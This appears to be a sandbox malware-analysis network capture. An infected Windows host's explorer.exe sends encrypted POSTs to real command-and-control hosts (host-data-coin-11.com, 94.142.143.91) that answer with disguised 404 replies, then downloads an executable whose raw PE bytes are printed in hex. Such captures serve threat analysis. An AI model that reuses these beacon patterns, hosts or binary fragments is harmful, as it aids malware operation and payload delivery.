Jan 14, 2022 04:59:39.090184927 CET	11931	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 83 66 5d 02 c8 a1 c1 64 49 ad a4 01 Data Ascii: ?2~236hTkowmFu$f]dI 111w?Bjx%Wsb" :'=TOJ[fOK12%$7]vYfqf#/vMt:?Kl6(D?>;eS2283&4
Jan 14, 2022 04:59:39.178071976 CET	11933	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.3	49840	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:39.298963070 CET	11935	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://umttqygm.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 209 Host: host-data-coin-11.com
Jan 14, 2022 04:59:39.298971891 CET	11935	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 80 66 5d 02 c8 a1 c1 64 45 ca 81 33 Data Ascii: ?2~236hTkowmFu$f]dE34z;r0gW6kFWq%L7x%B3.&3DapW&#F!m9;s>#efp\]sbwBgcE#5
Jan 14, 2022 04:59:39.387739897 CET	11937	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.3	49842	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:39.484862089 CET	11939	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dujdgqdl.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 199 Host: host-data-coin-11.com
Jan 14, 2022 04:59:39.484880924 CET	11939	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 81 66 5d 02 c8 a1 c1 64 10 9c bf 1f Data Ascii: ?2~236hTkowmFu$f]dF\|hiw32:&YnK#_yw\,J2%[J0lxhE;?p'AHVWU;{sc5U\|~^gYBT!h#m1
Jan 14, 2022 04:59:39.570105076 CET	11940	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:39 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.3	49843	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:39.656476021 CET	11942	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://acontkk.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 334 Host: host-data-coin-11.com
Jan 14, 2022 04:59:39.656682014 CET	11942	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de be 66 5d 02 c8 a1 c1 64 46 ab ad 76 Data Ascii: ?2~236hTkowmFu$f]dFv3Y0f~gU[M)wHvF,()F49?{t9d@+yB.DFo4s-~c3s}w/5~N+hccvW3\g2Ut&twn^O
Jan 14, 2022 04:59:39.737250090 CET	11943	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.3	49845	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:39.859819889 CET	11945	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rwkvcn.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 355 Host: host-data-coin-11.com
Jan 14, 2022 04:59:39.859838963 CET	11945	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de bf 66 5d 02 c8 a1 c1 64 2f b9 8c 16 Data Ascii: ?2~236hTkowmFu$f]d/T`?c-hV(7m_.d'LFxrE%^3;F}G\|eeJ.EA>67Ly)dn9c0s\|7zqT{aES~=g{~H1xu*wC<Z
Jan 14, 2022 04:59:39.964689970 CET	11946	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.3	49846	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:40.050098896 CET	11948	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://urrhyr.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 155 Host: host-data-coin-11.com
Jan 14, 2022 04:59:40.050179958 CET	11948	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de bc 66 5d 02 c8 a1 c1 64 0f c7 ad 0c Data Ascii: ?2~236hTkowmFu$f]dKOe-wKXlQvT*ukD,0}inM7FqF+&]rE/0;8(~
Jan 14, 2022 04:59:40.132122040 CET	11949	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49884	144.76.136.153	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.3	49848	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:40.220174074 CET	11950	OUT	GET /files/6961_1642089187_2359.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: data-host-coin-8.com
Jan 14, 2022 04:59:40.283812046 CET	11953	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:40 GMT Content-Type: application/x-msdos-program Content-Length: 905216 Connection: close Last-Modified: Thu, 13 Jan 2022 15:53:07 GMT ETag: "dd000-5d578aeb4049d" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae f2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8 49 ae f2 a8 d1 fc 76 a8 e1 ae f2 a8 e8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae f2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00 00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7c 02 00 04 00 00 e4 71 0e 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 0d 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe 0b 00 00 70 01 00 00 9e 0b 00 00 64 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c7 01 00 32 41 00 e9 09 11 00 00 56 8b f1 c7 06 00 32 41 00 e8 fb 10 00 00 f6 44 24 08 01 74 07 56 e8 88 14 00 00 59 8b c6 5e c2 04 00 55 8b ec ff 75 14 ff 75 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$gqIvhExfcRichPEL[_ 200@P\|qXf(p 1@Y@0.text `.rdata"?0@$@@.data8pd@.rsrc np@@2AV2AD$tVY^Uuu
Jan 14, 2022 04:59:40.283843040 CET	11954	IN	Data Raw: 10 ff 75 0c ff 75 08 e8 a0 15 00 00 8b 45 08 83 c4 10 5d c3 55 8b ec ff 75 14 ff 75 10 ff 75 0c ff 75 08 e8 7c 0f 00 00 8b 45 08 83 c4 10 5d c3 81 00 03 35 ef c6 c3 01 08 c3 55 8b ec 83 ec 44 8b 45 08 8b 08 8b 40 04 53 56 57 33 ff 81 3d d4 48 4d Data Ascii: uuE]Uuuuu\|E]5UDE@SVW3=HMMEuW@0AWWWWWW0AWWWW\|0AAEAEE}]=HMuWWWd0A AE$AEE EEu=HMuEPWEPW
Jan 14, 2022 04:59:40.283859015 CET	11956	IN	Data Raw: ec 1c 83 3d d4 48 4d 00 0c 75 57 68 fc 58 41 00 33 f6 56 56 ff 15 18 30 41 00 56 56 56 56 ff 15 04 30 41 00 68 2c 59 41 00 8d 4d d8 e8 5b 00 00 00 56 89 75 fc e8 8b 16 00 00 56 e8 4c 12 00 00 56 56 56 e8 30 15 00 00 56 e8 2c 0e 00 00 56 e8 04 0d Data Ascii: =HMuWhXA3VV0AVVVV0Ah,YAM[VuVLVVV0V,VV TAHM;-HM9M3dVjFJt$^jjjjUESVW}9GswE+9usu;uj
Jan 14, 2022 04:59:40.283875942 CET	11957	IN	Data Raw: f0 57 39 5e 14 73 05 e8 4d 04 00 00 8b 7e 14 2b fb 39 7d 0c 73 03 8b 7d 0c 8b 45 08 3b c6 75 15 6a ff 03 fb 8b f0 e8 e5 00 00 00 53 33 ff e8 dd 00 00 00 eb 40 e8 44 00 00 00 84 c0 74 37 83 7e 18 08 72 05 8b 46 04 eb 03 8d 46 04 8b 75 08 8b 56 18 Data Ascii: W9^sM~+9}s}E;ujS3@Dt7~rFFuVrNNXPRQ[9E_^]VvF;svWVu!~rv3f3;^UMw3QrY3seEP
Jan 14, 2022 04:59:40.283898115 CET	11958	IN	Data Raw: 33 ff 3b c7 74 47 39 7d 08 75 1b e8 81 1a 00 00 6a 16 5e 89 30 57 57 57 57 57 e8 0a 1a 00 00 83 c4 14 8b c6 eb 29 39 7d 10 74 e0 39 45 0c 73 0e e8 5c 1a 00 00 6a 22 59 89 08 8b f1 eb d7 50 ff 75 10 ff 75 08 e8 43 15 00 00 83 c4 0c 33 c0 5f 5e 5d Data Ascii: 3;tG9}uj^0WWWWW)9}t9Es\j"YPuuC3_^]``X2AUS]VWX2At&PFVxYYGt3VP<gG_^[]UMX2A`H]US]VX2ACFCWt
Jan 14, 2022 04:59:40.283919096 CET	11960	IN	Data Raw: 7e c0 66 0f 54 05 c0 32 41 00 66 0f fa d0 66 0f d3 ca a9 00 08 00 00 75 4c 3d ff 03 00 00 7c 7d 66 0f f3 ca 3d 32 04 00 00 7f 0b 66 0f d6 4c 24 04 dd 44 24 04 c3 66 0f 2e ff 7b 24 ba ed 03 00 00 83 ec 10 89 54 24 0c 8b d4 83 c2 14 89 54 24 08 89 Data Ascii: ~fT2AffuL=\|}f=2fL$D$f.{$T$T$T$$/BD$~D$ff(f=\|!=2fT2A\fL$D$f2AfV2AfT2Af\$D$UVuW3;u3e9}uuj^0WWWWW
Jan 14, 2022 04:59:40.283936977 CET	11961	IN	Data Raw: 2a 00 00 59 59 c3 8b ff 55 8b ec 56 8b 75 08 8b 46 0c a8 83 75 10 e8 02 10 00 00 c7 00 16 00 00 00 83 c8 ff eb 67 83 e0 ef 83 7d 10 01 89 46 0c 75 0e 56 e8 cf fb ff ff 01 45 0c 83 65 10 00 59 56 e8 e9 51 00 00 8b 46 0c 59 84 c0 79 08 83 e0 fc 89 Data Ascii: *YYUVuFug}FuVEeYVQFYyFttuFuuVHYP(G3I^]jh_AQ339u;unVVVVV>};ttuu0)YuWuu
Jan 14, 2022 04:59:40.284010887 CET	11963	IN	Data Raw: cf e5 ff ff 89 45 e0 39 75 e4 75 06 50 e8 59 1e 00 00 e8 80 1e 00 00 89 7d fc eb 35 8b 45 ec 8b 08 8b 09 89 4d dc 50 51 e8 94 58 00 00 59 59 c3 8b 65 e8 8b 45 dc 89 45 e0 83 7d e4 00 75 06 50 e8 3c 1e 00 00 e8 5c 1e 00 00 c7 45 fc fe ff ff ff 8b Data Ascii: E9uuPY}5EMPQXYYeEE}uP<\EE3@eE^xL$t$tNu$$~3tAt2t$ttAL$+AL$
Jan 14, 2022 04:59:40.284035921 CET	11964	IN	Data Raw: 00 8b c8 8b 45 e8 64 a3 00 00 00 00 8b c1 c9 c3 3b 0d 70 76 41 00 75 02 f3 c3 e9 82 67 00 00 50 64 ff 35 00 00 00 00 8d 44 24 0c 2b 64 24 0c 53 56 57 89 28 8b e8 a1 70 76 41 00 33 c5 50 ff 75 fc c7 45 fc ff ff ff ff 8d 45 f4 64 a3 00 00 00 00 c3 Data Ascii: Ed;pvAugPd5D$+d$SVW(pvA3PuEEdPd5D$+d$SVW(pvA3PeuEEdMdY__^[]QUWVuM};v;r=]MtWV;^_u^_]Bhu
Jan 14, 2022 04:59:40.284056902 CET	11965	IN	Data Raw: e8 d1 fa ff ff c9 c3 8b ff 55 8b ec ff 35 64 0d 4d 00 e8 82 3a 00 00 59 85 c0 74 03 5d ff e0 6a 02 e8 b1 64 00 00 59 5d e9 b2 fe ff ff 8b ff 55 8b ec 8b 45 08 33 c9 3b 04 cd a0 70 41 00 74 13 41 83 f9 2d 72 f1 8d 48 ed 83 f9 11 77 0e 6a 0d 58 5d Data Ascii: U5dM:Yt]jdY]UE3;pAtA-rHwjX]pA]DjY;#];urA;urAUVMQY0^]UMS3VW;t};wj^0SSSSS#0u;u
Jan 14, 2022 04:59:40.340228081 CET	11967	IN	Data Raw: 1c 8d 4a e0 d3 eb 8d 4c 02 04 f7 d3 21 9c b8 c4 00 00 00 fe 09 75 06 8b 4d 08 21 59 04 8b 5d 0c 8b 53 08 8b 5b 04 8b 4d fc 03 4d f4 89 5a 04 8b 55 0c 8b 5a 04 8b 52 08 89 53 08 89 4d fc 8b d1 c1 fa 04 4a 83 fa 3f 76 03 6a 3f 5a 8b 5d f8 83 e3 01 Data Ascii: JL!uM!Y]S[MMZUZRSMJ?vj?Z]]+u]j?uK^;vMJM;v;t^Mq;qu; s!tDLu!M!1K!LuM!qMqINMqINu]}u

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.3	49855	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
